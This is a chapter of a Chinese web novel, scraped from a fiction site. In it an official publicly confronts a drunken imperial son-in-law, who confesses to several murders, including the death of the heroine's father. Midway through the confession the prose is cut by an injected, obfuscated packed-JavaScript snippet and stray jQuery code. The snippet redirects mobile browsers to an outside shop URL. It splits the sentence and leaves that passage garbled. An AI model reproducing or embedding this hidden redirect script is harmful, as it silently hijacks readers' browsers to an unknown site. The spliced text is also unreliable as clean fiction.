文趣网 > 其他小说 > 幽都妄游录 > 31. 第三十一章 姹紫嫣红
    本朝无宵禁,观鹤楼彻夜欢歌,歌舞升平。

    江愈携大理寺司直、刑部郎中前往踏入观鹤楼时,赵允衡已经等候多时。司直和刑部郎中与赵允衡也并不陌生,只当此番来是闲暇小聚——江愈亲自登门请,却从头到尾没说此行为何,至少在拦截从画舫上下来的吴序之前,他们一无所知。

    画舫上下来的人都要穿过大堂走出大门。

    小满、云青、李秋白和荆箩四人坐在江愈邻桌,从他们这个角度正好可以把江愈那一桌和大堂入口尽收眼底。

    吴序的身影出现在门口时,江愈便起身,径直走上前:“下官,参见驸马都尉。”

    吴序鼻息间呼出酒气,脚步有些发沉,喘息也有些粗重,想来喝了不少。他反应了一会儿看向来人,身侧搀扶他的仆从提醒:“都尉,这是大理寺的江大人。”

    吴序“嗯”了一声,拂开仆从的手,双手交叠随意做了一礼:“江……大人?”

    说罢“嗤”了一声,踉跄着就往前走。却听身后的声音追上来——

    “驸马今日可是去了严华寺?”

    那道踉跄的身影明显身躯一震,脚步却不见停,继续往前走。

    “去严华寺是为超度还是祭拜?所祭何人?”

    那身影忽然站定,仿佛被钉在原地,隔了好一会儿才转过身来,醉眼微眯,打量起眼前这个胆大包天的官门中人。

    舞台上丝竹未歇,舞姬舞袖翻飞。离得稍近些的几桌宾客已察觉不对,目光若有若无地瞥过来。

    不远处桌上,司直和刑部郎中这才发觉不对,相视一眼。司直放下酒杯看向赵允衡:“难怪一坐下你便不让我们喝多,敢情是在这等着?”

    赵允衡笑而不语。

    邻桌的小满和云青,一个支着下巴,一个撑着脑袋,看着不远处的一举一动,那神情活像是在看戏。

    小满眼睛一下也没依移开,低声问道:“你说,他是真醉了还是装的?”

    “真醉了。”云青笃定,转问一句:“你说等会儿他会不会直接恼羞成怒走掉?要真走了,这戏还怎么看?”

    “打个赌?”小满忽然来了兴致,“赌他会不会在观鹤楼现原形。”

    “行啊,拿什么赌?”

    “赌——”小满想了想,“一两银子!”

    “成交!”

    李秋白和荆箩一个坐得端正一个坐得端庄,李秋白闻言睇了他们一眼,不知道一两银子有什么可赌的。

    他摇摇头,端起茶盏喝茶,荆箩见状也学着他的动作端起茶盏,抿了一口。

    江愈那边还在那边不急不缓地开口:“驸马不语,难不成是有什么不可说的?”他故作恍然地“哦”了一声,“驸马不必忧心,下官已经去请了公主前来,不用急着回府。”

    赵允衡听罢,微不可察地扬了扬手,示意仆从上前来,附耳道:“那我的拜帖去一趟公主府,就说驸马在观鹤楼醉了酒,怕是要出人命,请她速速前来。”

    吴序忽然仰头笑了,整个肩膀都在抖,笑得像个笑话。他走上前,仗着个头居高临下望着年逾不惑的江愈。

    “你是什么人?观鹤楼怎么回事?什么杂碎都放进来!?”后半句虽是盯着江愈,却是对着观鹤楼的人说的。

    观鹤楼的打手、小二早在江愈开口时就已经在一旁伺机而动,可一听对方是大理寺的,再听着那些话越来越不对味,像是要吃官司的架势。这……这有个什么好歹,他们东家只怕也要被牵连,驸马不过是暗投的,大小王他们还是分得清。

    一时竟无人上前。

    而另一边,李秋白和云青已经调整了坐姿,一个指尖扣着桌沿,一个掌心朝下搭在膝上——江愈若是有闪失,他们能在半息之内出手。

    吴序环顾一周,见无人应他,忽然转头笑了:“好啊,好得很!想来我今年是诸事不顺。”

    “严华寺是吧?”

    “是!我是去了严华寺,怎么了?我去严华寺都是为了给我的娘子——公主殿下!给她诵经祈福。”这话,在提到“公主殿下”四个字时重重落音,说罢自己又笑了一声,“怎么?你没有娘子?”

    二楼,不知何时准备了一把黄花梨圈椅,一道缥色暗纹素缎的裙摆微微晃动,垂落在椅沿,这道身影不疾不徐地落座时,正巧听到下方的人这么一句话,帷帽下艳丽不俗的脸唇角一弯,眼底却毫无笑意。

    江愈不理会吴序的胡言乱语,又问:“严华寺方丈手上有一份往生簿名单,据他所言,上面的生辰八字都是驸马给的。驸马体恤无辜百姓惨死,请严华寺僧人每月超度,真是用心良苦啊。”

    “不足挂齿。”

    小满哂笑一声,“他居然承认了。”

    江愈唇角泛起薄薄的笑意:“这超度之心虽好,却为何还要将他们的遗物藏起来……”

    吴序浑身一凛,倏地转头,那双醉眼此刻简直可以用怒目圆瞪形容。

    江愈像是没看到他的反应,继续还没说完的话:“藏起来却又藏在香炉之中,上香供奉无名牌位……”

    “你说的什么,简直一派胡言。”

    吴序此时酒醒了大半,双手负于身后转身欲走。

    却听上方传来一道女声,这声音沉缓,尾音落得极稳:“驸马何不听江大人把话说完?再走不迟。”

    小满一桌人齐齐抬头往上看去,却只能看到一女子顶着帷帽端坐着,身子从容,虽看不到她的面容,可那通身的气度也看得出这是位贵人。

    她方才一开口,不过寥寥几句,却有无形的压迫感,原本窃窃私语的大堂骤然安静了一瞬。

    吴序缓缓转身,并不抬头看向声音的来处。

    那声音带着一丝丝笑意,却已听得得他浑身泛起了冷意。

    江愈像是没被打断一般,继续问:“那便是严华寺方丈打诳语?”

    他顿了一下,情绪微微有些激动:“是!谁知道那群和尚意欲何为!”

    “两年前,晋王府收到了一块上好的阴沉木——”

    吴序脸色一变:“什么阴沉木?!”

    “阴沉木难寻,但晋王年幼,又不知阴沉木的用途,转手将阴沉木送给了公主。”江愈说着,抬头看向二楼方向,“却不知,这阴沉木如何会出现在严华寺偏殿,成了一方供、桌。”

    “你如何证明是我的?!”

    “这——”江愈露出今晚第一个真正的笑意,“下官还并未说是驸马的手笔……”

    吴序深吸了一口气,那双眼变得极沉、极暗,他盯着江愈看了好一会儿,目光阴鸷得骇人。

    小满不由得为江愈捏了一把汗,她靠近云青耳语道:“他要是动手,你会帮忙吧?”

    云青笑道:“我是神官,又不是索命鬼。”

    小满点点头——那她可就放心添柴加火了。

    她忽然扬声,嗓音脆生生的:“阴沉木镇阴煞啊驸马。你这是害怕吧!怕半夜鬼敲门,怕尸身不腐,怕夜半十几个冤魂半夜坐在你的床头向你索命呢!”

    他面目狰狞地看过去,却见一个小姑娘家家,冷笑一声:“小丫头,血口喷人可不是什么好习惯,你爹娘没教你吗?”

    “你爹娘没教你不要草菅人命吗?”云青接得顺溜,“哦不对,不会是你爹娘也被你害死了,教不了你吧!”

    “黄口小儿!”他的声音徒然撕裂般拔高,整张脸通红得吓人,“我爹、我娘,他们都善终了!我厚葬了他们!我有出息!我有——”

    他疯了似的,忽然仰面大,笑着笑着,一抬手将身侧桌上那套金玉器物金属扫落在地。

    “哐啷”一声响。

    原来价值连城的东西滚了满地,转眼间就是一地狼藉。他瘫坐在地上,笑得前仰后合。

    “是我杀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744336|209209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !全都是我杀的!”

    大堂里的丝竹不知什么时候停了,舞姬退到两侧,宾客们屏息看着这一幕,有人甚至已经悄悄起身往门口挪。

    司直一直握着酒杯的手一抖,一半的酒撒在了桌上,他转头看向赵允衡,后者只朝他投来眼神,坚定地颔了颔首。

    刑部郎中一时也僵住了,目光死死盯住那个昔日里乐善好施两袖清风的驸马都尉,好半天才从嗓子里挤出来一句话:“驸马……驸马杀了人?”

    吴序抓起地上一瓶酒,仰面灌了一大口,酒液顺着下巴淌进衣领,他也浑不在意。

    “那又如何呢?”

    “周家的。”

    “张家的。”

    “还有柳家的!”

    “这些都是人间杂碎!哪一年的科考不是万千人挤破了头,就为了获得这个机会,倾家荡产!家破人亡!他们呢?他们都是什么东西?靠着家里关系、银两硬塞进来的!”

    “就看看那口决堤的大坝!数百人被淹死,究竟是追责追到谁的头上?他工部符大人吗?全族上下都赔不尽!”

    “不如就在轮回路上等着吧!堵着他的每一世轮回,谁也不要往生!”

    他大笑着,满眼猩红,像一头走到尽头的野兽。

    江愈的声音始终那般,不高不低:“周家的周元灏并未挡了什么道,你又为何要对他痛下杀手。”

    吴序的笑声听了一瞬,歪着头,似乎真的在认真想这个问题。

    “没什么。”他扯了扯嘴角,“我不高兴。”

    他转过头,目光落在地上:“凭什么他周玉方的儿子这般顺遂,我呢,我父母也是佃农出身,怎么他们……他们为了让我上京赶考,死在了田里!”

    “而他周玉方,一家子其乐融融,凭什么啊!”

    小满忽然站起来,椅子在地板上发出了锐响。

    “那我爹呢?”她的声音带着一丝不易察觉的颤抖,“你对他做了什么?”

    “你爹?”吴序循着声音看过去,又抬头想了想,随后轻笑一声,仿佛在问一个无足轻重的蝼蚁,“你爹是谁?”

    “九年前,你推他下水……”

    “哦!”他很快想起来,笑着举起一只手指,“那个老举子?”

    “是!没错!”他站起身,摇摇晃晃地朝小满一桌走去。云青、李秋白几乎同一时间站了起来,一左一右护在小满两侧,荆箩也站在了小满身后。

    吴序在距离他们三五步的位置停下,居高临下地看着小满。

    “你娘,还一直在等他回去吧?”

    小满一愣:“什么意思?”

    “你那不争气的爹,来京城那么久,也就给你娘买了一盒胭脂——”说着又灌了一口酒,“就一盒胭脂?!哈哈哈哈——”

    “他算什么东西?一个穷举子!一个要跪在我的膝下,跟我讨要一官半职的穷举子!竟敢戳我的脊梁骨?!”

    “你混蛋!”小满红着眼上前痛骂,抬手就要将手里的茶杯砸过去——

    “别冲动!”云青一把握住小满的手。小满的指节扣得太紧,他掰了两下才将茶杯从她手心拿开。

    “我打了他。”他轻飘飘说,“他没还手,本以为是个懦夫,谁知道他为了掉在地上的一盒胭脂,竟敢跟我动手?”

    他说着,俯下身,凑近了小满的脸,酒气扑在她的面上,声音却忽然低下来,像是在说一个只有她能听的秘密:

    “你猜最后怎么着?”

    “我把胭脂丢到河里。”

    “让他去河里捡啊。哈哈哈哈——”

    小满的手指几乎嵌近了掌心,她没有哭出声,也没没有发抖,只是发狠地看着近在咫尺的这张脸,凭着身后云青温热的掌心轻拍着调整呼吸。

    “你分明,是嫉、妒。”小满一字一句道,“你吴序才是个可怜人,你一无所有。”